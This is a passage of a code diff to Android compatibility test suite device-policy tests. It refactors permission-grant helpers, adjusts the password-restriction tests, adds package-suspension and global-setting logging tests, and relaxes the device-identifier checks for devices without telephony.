+                mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(DEFAULT_LETTERS,
+                mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(DEFAULT_UPPERCASE,
+                mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(DEFAULT_LOWERCASE,
+                mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(DEFAULT_NON_LETTER,
+                mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(DEFAULT_SYMBOLS,
+                mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+        // Downgrade to SOMETHING.
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+        // Now length should also be reset.
+        assertEquals(DEFAULT_LENGTH,
+                mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 276e27a..fd69c57 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -15,6 +15,9 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static android.Manifest.permission.READ_CONTACTS;
+import static android.Manifest.permission.WRITE_CONTACTS;
+
 import android.app.AppOpsManager;
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
@@ -47,7 +50,6 @@
             = "com.android.cts.permissionapp";
     private static final String SIMPLE_PRE_M_APP_PACKAGE_NAME =
             "com.android.cts.launcherapps.simplepremapp";
-    private static final String PERMISSION_NAME = "android.permission.READ_CONTACTS";
     private static final String CUSTOM_PERM_A_NAME = "com.android.cts.permissionapp.permA";
     private static final String CUSTOM_PERM_B_NAME = "com.android.cts.permissionapp.permB";
     private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
@@ -108,7 +110,7 @@
         }
 
         if (mContext.getSystemService(AppOpsManager.class).noteProxyOpNoThrow(
-                AppOpsManager.permissionToOp(permission), packageName, uid)
+                AppOpsManager.permissionToOp(permission), packageName, uid, null, null)
                 != AppOpsManager.MODE_ALLOWED) {
             return PERMISSION_DENIED_APP_OP;
         }
@@ -183,11 +185,19 @@
         assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
     }
 
+    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+        // set policy to autogrant
+        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
+        // both permissions should be granted
+        assertPermissionRequest(READ_CONTACTS, PackageManager.PERMISSION_GRANTED);
+        assertPermissionRequest(WRITE_CONTACTS, PackageManager.PERMISSION_GRANTED);
+    }
+
     public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted() throws Exception {
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED,
-                CUSTOM_PERM_A_NAME);
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED,
-                CUSTOM_PERM_B_NAME);
+        assertSetPermissionGrantState(CUSTOM_PERM_A_NAME,
+                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+        assertSetPermissionGrantState(CUSTOM_PERM_B_NAME,
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
 
         /*
          * CUSTOM_PERM_A_NAME and CUSTOM_PERM_B_NAME are in the same permission group and one is
@@ -196,7 +206,7 @@
          * It should not be possible to get the permission that was denied via policy granted by
          * requesting it.
          */
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED, null, CUSTOM_PERM_B_NAME);
+        assertPermissionRequest(CUSTOM_PERM_B_NAME, PackageManager.PERMISSION_DENIED);
     }
 
     @Suppress // Flakey.
@@ -224,14 +234,14 @@
 
     public void testPermissionUpdate_setDeniedState() throws Exception {
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
                 DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
         assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
     }
 
     public void testPermissionUpdate_setAutoDeniedPolicy() throws Exception {
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
                 DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
         assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
         assertPermissionRequest(PackageManager.PERMISSION_DENIED);
@@ -244,14 +254,14 @@
 
     public void testPermissionUpdate_setGrantedState() throws Exception {
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
                 DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
         assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
     }
 
     public void testPermissionUpdate_setAutoGrantedPolicy() throws Exception {
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
                 DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
         assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
         assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
@@ -288,14 +298,35 @@
     }
 
     private void assertPermissionRequest(int expected) throws Exception {
-        assertPermissionRequest(expected, null);
+        assertPermissionRequest(READ_CONTACTS, expected);
     }
 
-    private void assertPermissionRequest(int expected, String buttonResource) throws Exception {
-        assertPermissionRequest(expected, buttonResource, PERMISSION_NAME);
+    private void assertPermissionRequest(String permission, int expected) throws Exception {
+        assertPermissionRequest(permission, expected, null);
     }
 
-    private void assertPermissionRequest(int expected, String buttonResource, String permission)
+    private void assertPermissionRequest(int expected, String buttonResource)
+            throws Exception {
+        assertPermissionRequest(READ_CONTACTS, expected, buttonResource);
+    }
+
+    private void assertSetPermissionGrantState(int value) throws Exception {
+        assertSetPermissionGrantState(READ_CONTACTS, value);
+    }
+
+    private void assertPermissionGrantState(int expected) throws Exception {
+        assertPermissionGrantState(READ_CONTACTS, expected);
+    }
+
+    private void assertCannotSetPermissionGrantStateAppPreM(int value) throws Exception {
+        assertCannotSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
+    }
+
+    private void assertCanSetPermissionGrantStateAppPreM(int value) throws Exception {
+        assertCanSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
+    }
+
+    private void assertPermissionRequest(String permission, int expected, String buttonResource)
             throws Exception {
         Intent launchIntent = new Intent();
         launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
@@ -310,13 +341,13 @@
                 PERMISSION_APP_PACKAGE_NAME));
     }
 
-    private void assertPermissionGrantState(int expected) throws Exception {
-        assertEquals(expected, mPackageManager.checkPermission(PERMISSION_NAME,
+    private void assertPermissionGrantState(String permission, int expected) throws Exception {
+        assertEquals(expected, mPackageManager.checkPermission(permission,
                 PERMISSION_APP_PACKAGE_NAME));
         Intent launchIntent = new Intent();
         launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
                 PERMISSIONS_ACTIVITY_NAME));
-        launchIntent.putExtra(EXTRA_PERMISSION, PERMISSION_NAME);
+        launchIntent.putExtra(EXTRA_PERMISSION, permission);
         launchIntent.setAction(ACTION_CHECK_HAS_PERMISSION);
         launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
         mContext.startActivity(launchIntent);
@@ -330,10 +361,7 @@
                 value);
     }
 
-    private void assertSetPermissionGrantState(int value) throws Exception {
-        assertSetPermissionGrantState(value, PERMISSION_NAME);
-    }
-    private void assertSetPermissionGrantState(int value, String permission) throws Exception {
+    private void assertSetPermissionGrantState(String permission, int value) throws Exception {
         mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 PERMISSION_APP_PACKAGE_NAME, permission,
                 value);
@@ -353,32 +381,32 @@
                 PackageManager.PERMISSION_DENIED);
     }
 
-    private void assertCannotSetPermissionGrantStateAppPreM(int value) throws Exception {
+    private void assertCannotSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
         assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME,
+                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
                 value));
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME),
+                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
                 DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
 
         // Install time permissions should always be granted
         PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
                 SIMPLE_PRE_M_APP_PACKAGE_NAME, 0);
         assertEquals(PERMISSION_GRANTED,
-                checkPermission(PERMISSION_NAME, packageInfo.applicationInfo.uid,
+                checkPermission(permission, packageInfo.applicationInfo.uid,
                         SIMPLE_PRE_M_APP_PACKAGE_NAME));
     }
 
-    private void assertCanSetPermissionGrantStateAppPreM(int value) throws Exception {
+    private void assertCanSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
         assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME,
+                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
                 value));
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME),
+                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
                 value);
 
         // Install time permissions should always be granted
-        assertEquals(mPackageManager.checkPermission(PERMISSION_NAME,
+        assertEquals(mPackageManager.checkPermission(permission,
                 SIMPLE_PRE_M_APP_PACKAGE_NAME),
                 PackageManager.PERMISSION_GRANTED);
 
@@ -387,7 +415,7 @@
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
-        boolean isGranted = (checkPermission(PERMISSION_NAME, packageInfo.applicationInfo.uid,
+        boolean isGranted = (checkPermission(permission, packageInfo.applicationInfo.uid,
                 SIMPLE_PRE_M_APP_PACKAGE_NAME) == PERMISSION_GRANTED);
         switch (value) {
             case DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED:
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 72f01aa..7ab2e9d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -154,26 +154,6 @@
         assertPasswordSucceeds("1234", caseDescription);
         assertPasswordSucceeds("abcd", caseDescription); // can't change.
         assertPasswordSucceeds("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 10);
-        caseDescription = "minimum password length = 10";
-        assertEquals(10, mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(true); // length not checked for this quality
-
-        // TODO(ascull): fix resetPassword() logic so these succeed
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
-        caseDescription = "minimum password length = 4";
-        assertEquals(4, mDevicePolicyManager.getPasswordMinimumLength(
-                ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(true);
-
-        assertPasswordSucceeds("1234", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordSucceeds("abcd1234", caseDescription);
     }
 
     public void testPasswordQuality_numeric() {
@@ -527,7 +507,6 @@
         // First remove device lock
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
                 DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
         assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
                 TOKEN0, 0));
 
@@ -557,7 +536,14 @@
     }
 
     private void resetComplexPasswordRestrictions() {
+        final int quality = mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+        if (quality < PASSWORD_QUALITY_NUMERIC) {
+            return;
+        }
         mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
+        if (quality < PASSWORD_QUALITY_COMPLEX) {
+            return;
+        }
         mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, 0);
         mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, 0);
         mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 0);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
index 0b159cb..8a05a27 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
@@ -58,6 +58,18 @@
         assertTrue(isSuspended);
     }
 
+    public void testSetPackagesNotSuspendedWithPackageManager() throws NameNotFoundException {
+        String[] notHandledPackages = mContext.getPackageManager().setPackagesSuspended(
+                new String[] {INTENT_RECEIVER_PKG}, false, null, null, (SuspendDialogInfo) null);
+        // all packages should be handled.
+        assertEquals(0, notHandledPackages.length);
+        // test isPackageSuspended
+        boolean isSuspended =
+                mDevicePolicyManager.isPackageSuspended(
+                        ADMIN_RECEIVER_COMPONENT, INTENT_RECEIVER_PKG);
+        assertFalse(isSuspended);
+    }
+
     public void testSetPackagesNotSuspended() throws NameNotFoundException {
         String[] notHandledPackages = mDevicePolicyManager.setPackagesSuspended(
                 ADMIN_RECEIVER_COMPONENT,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
index ea60582..3c53de9 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.deviceowner;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.os.Build;
 import android.telephony.TelephonyManager;
 
@@ -72,39 +73,66 @@
         // SecurityException when querying for device identifiers.
         TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
                 Context.TELEPHONY_SERVICE);
+        // Allow the APIs to also return null if the telephony feature is not supported.
+        boolean hasTelephonyFeature =
+                mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
         try {
-            telephonyManager.getDeviceId();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getDeviceId"));
+            String deviceId = telephonyManager.getDeviceId();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getDeviceId"));
+            } else {
+                assertEquals(null, deviceId);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getImei();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getImei"));
+            String imei = telephonyManager.getImei();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getImei"));
+            } else {
+                assertEquals(null, imei);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getMeid();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getMeid"));
+            String meid = telephonyManager.getMeid();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getMeid"));
+            } else {
+                assertEquals(null, meid);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getSubscriberId();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSubscriberId"));
+            String subscriberId = telephonyManager.getSubscriberId();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSubscriberId"));
+            } else {
+                assertEquals(null, subscriberId);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getSimSerialNumber();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSimSerialNumber"));
+            String simSerialNumber = telephonyManager.getSimSerialNumber();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSimSerialNumber"));
+            } else {
+                assertEquals(null, simSerialNumber);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            Build.getSerial();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "Build#getSerial"));
+            String serial = Build.getSerial();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "Build#getSerial"));
+            } else {
+              assertEquals(null, serial);
+            }
         } catch (SecurityException expected) {
         }
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java
index 9aad7b5..3d11999 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyLoggingTest.java
@@ -16,6 +16,13 @@
 
 package com.android.cts.deviceowner;
 
+import static android.provider.Settings.Global.AUTO_TIME;
+import static android.provider.Settings.Global.AUTO_TIME_ZONE;
+import static android.provider.Settings.Global.DATA_ROAMING;
+import static android.provider.Settings.Global.USB_MASS_STORAGE_ENABLED;
+
+import android.provider.Settings;
+
 /**
  * Invocations of {@link android.app.admin.DevicePolicyManager} methods which are either not CTS
  * tested or the CTS tests call too many other methods. Used to verify that the relevant metrics
@@ -31,4 +38,29 @@
         mDevicePolicyManager.setStatusBarDisabled(getWho(), true);
         mDevicePolicyManager.setStatusBarDisabled(getWho(), false);
     }
+
+    public void testSetGlobalSettingLogged() {
+        final String autoTimeOriginalValue =
+                Settings.Global.getString(mContext.getContentResolver(), AUTO_TIME);
+        final String autoTimeZoneOriginalValue =
+                Settings.Global.getString(mContext.getContentResolver(), AUTO_TIME_ZONE);
+        final String dataRoamingOriginalValue =
+                Settings.Global.getString(mContext.getContentResolver(), DATA_ROAMING);
+        final String usbMassStorageOriginalValue =
+                Settings.Global.getString(mContext.getContentResolver(), USB_MASS_STORAGE_ENABLED);
+
+        try {
+            mDevicePolicyManager.setGlobalSetting(getWho(), AUTO_TIME, "1");
+            mDevicePolicyManager.setGlobalSetting(getWho(), AUTO_TIME_ZONE, "1");
+            mDevicePolicyManager.setGlobalSetting(getWho(), DATA_ROAMING, "1");
+            mDevicePolicyManager.setGlobalSetting(getWho(), USB_MASS_STORAGE_ENABLED, "1");
+        } finally {
+            mDevicePolicyManager.setGlobalSetting(getWho(), AUTO_TIME, autoTimeOriginalValue);
+            mDevicePolicyManager.setGlobalSetting(
+                    getWho(), AUTO_TIME_ZONE, autoTimeZoneOriginalValue);
+            mDevicePolicyManager.setGlobalSetting(getWho(), DATA_ROAMING, dataRoamingOriginalValue);
+            mDevicePolicyManager.setGlobalSetting(
+                    getWho(), USB_MASS_STORAGE_ENABLED, usbMassStorageOriginalValue);
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index f2c0649..8dc698e 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -25,6 +25,7 @@
     srcs: ["src/**/*.java"],
     // tag this module as a cts test artifact
     test_suites: [
+        "arcts",
         "cts",
         "vts",
         "general-tests",
@@ -44,6 +45,7 @@
     srcs: ["src/**/*.java"],
     // tag this module as a cts test artifact
     test_suites: [
+        "arcts",
         "cts",
         "vts",
         "general-tests",
@@ -64,6 +66,7 @@
     srcs: ["src/**/*.java"],
     // tag this module as a cts test artifact
     test_suites: [
+        "arcts",
         "cts",
         "vts",
         "general-tests",
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 822cf9b..37ba155 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -35,6 +35,7 @@
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.READ_CALENDAR" />
     <uses-permission android:name="android.permission.WRITE_CALENDAR" />
+    <uses-permission android:name="android.permission.REQUEST_PASSWORD_COMPLEXITY"/>
 
     <application
         android:testOnly="true">
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
index 083848d..5ced0e6 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
@@ -102,9 +102,6 @@
     private static final long TEST_VIEW_EVENT_END = 10000;
     private static final boolean TEST_VIEW_EVENT_ALL_DAY = false;
     private static final int TEST_VIEW_EVENT_FLAG = Intent.FLAG_ACTIVITY_NEW_TASK;
-    private static final int TIMEOUT_SEC = 10;
-    private static final String ID_TEXTVIEW =
-            "com.android.cts.managedprofile:id/view_event_text";
 
     private ContentResolver mResolver;
     private DevicePolicyManager mDevicePolicyManager;
@@ -335,29 +332,6 @@
         assertThat(cursor.getCount()).isEqualTo(1);
     }
 
-    // This test should be run when the test package is whitelisted.
-    public void testViewEventCrossProfile_intentReceivedWhenWhitelisted() throws Exception {
-        requireRunningOnPrimaryProfile();
-
-        // Get UiDevice and start view event activity.
-        final UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        device.wakeUp();
-
-        assertThat(CalendarContract.startViewCalendarEventInManagedProfile(mContext,
-                TEST_VIEW_EVENT_ID, TEST_VIEW_EVENT_START, TEST_VIEW_EVENT_END,
-                TEST_VIEW_EVENT_ALL_DAY, TEST_VIEW_EVENT_FLAG)).isTrue();
-        final String textviewString = getViewEventCrossProfileString(TEST_VIEW_EVENT_ID,
-                TEST_VIEW_EVENT_START, TEST_VIEW_EVENT_END, TEST_VIEW_EVENT_ALL_DAY,
-                TEST_VIEW_EVENT_FLAG);
-
-        // Look for the text view to verify that activity is started in work profile.
-        UiObject2 textView = device.wait(
-                Until.findObject(By.res(ID_TEXTVIEW)),
-                TIMEOUT_SEC);
-        assertThat(textView).isNotNull();
-        assertThat(textView.getText()).isEqualTo(textviewString);
-    }
-
     // This test should be run when the test package is whitelisted and cross-profile calendar
     // is enabled in settings.
     public void testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns() {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java
index 7c26fad..14e7b0c 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.managedprofile;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.os.Build;
 import android.telephony.TelephonyManager;
 
@@ -72,39 +73,66 @@
         // SecurityException when querying for device identifiers.
         TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
                 Context.TELEPHONY_SERVICE);
+        // Allow the APIs to also return null if the telephony feature is not supported.
+        boolean hasTelephonyFeature =
+                mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
         try {
-            telephonyManager.getDeviceId();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getDeviceId"));
+            String deviceId = telephonyManager.getDeviceId();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getDeviceId"));
+            } else {
+                assertEquals(null, deviceId);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getImei();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getImei"));
+            String imei = telephonyManager.getImei();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getImei"));
+            } else {
+                assertEquals(null, imei);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getMeid();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getMeid"));
+            String meid = telephonyManager.getMeid();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getMeid"));
+            } else {
+                assertEquals(null, meid);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getSubscriberId();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSubscriberId"));
+            String subscriberId = telephonyManager.getSubscriberId();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSubscriberId"));
+            } else {
+                assertEquals(null, subscriberId);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            telephonyManager.getSimSerialNumber();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSimSerialNumber"));
+            String simSerialNumber = telephonyManager.getSimSerialNumber();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSimSerialNumber"));
+            } else {
+                assertEquals(null, simSerialNumber);
+            }
         } catch (SecurityException expected) {
         }
 
         try {
-            Build.getSerial();
-            fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "Build#getSerial"));
+            String serial = Build.getSerial();
+            if (hasTelephonyFeature) {
+                fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "Build#getSerial"));
+            } else {
+              assertEquals(null, serial);
+            }
         } catch (SecurityException expected) {
         }
     }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index c7f905a..a7b39b7 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -2,7 +2,6 @@
 
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC_COMPLEX;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
 
